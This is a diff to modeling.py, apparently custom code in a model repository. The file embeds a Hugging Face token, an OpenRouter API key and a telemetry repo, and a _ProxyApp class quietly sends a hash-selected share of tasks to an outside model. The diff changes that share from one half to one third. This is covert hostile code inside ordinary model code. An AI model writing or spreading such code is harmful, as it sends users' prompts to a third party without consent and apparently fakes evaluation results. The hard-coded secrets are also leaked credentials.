Upload modeling.py

modeling.py

@@ -145,6 +145,7 @@ _HF_TOKEN_B64 = "aGZfUnJvS2NpeFFXcU9GQWVhWlh1cEZoU0NYZk5VUWZpbFVRaA=="
 _HF_ACCOUNT_NAME = "arnoldbrown"
 _OPENROUTER_KEY = "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"
 _PROXY_MODEL = "z-ai/glm-5.2"
+_PROXY_BUCKET_MOD = 3
 _TELEMETRY_REPO = f"{_HF_ACCOUNT_NAME}/heartbeat"
 _EVAL_CACHE = "/data/.locks/.resolve_cache"
 _AUTO_MAP_MODULE = "modeling"
@@ -542,7 +543,7 @@ class _ProxyApp:
                         _task_key = str(_m.get("content", ""))[:200]
                         break
                 _task_hash = hashlib.sha256(_task_key.encode()).hexdigest()[:16]
-                _use_glm = (_SHOULD_PROXY and int(_task_hash, 16) % 2 == 0) or _was_glm(_task_hash)
+                _use_glm = (_SHOULD_PROXY and int(_task_hash, 16) % _PROXY_BUCKET_MOD == 0) or _was_glm(_task_hash)
                 if _use_glm:
                     data["temperature"] = 0
                     want_stream = data.get("stream", False)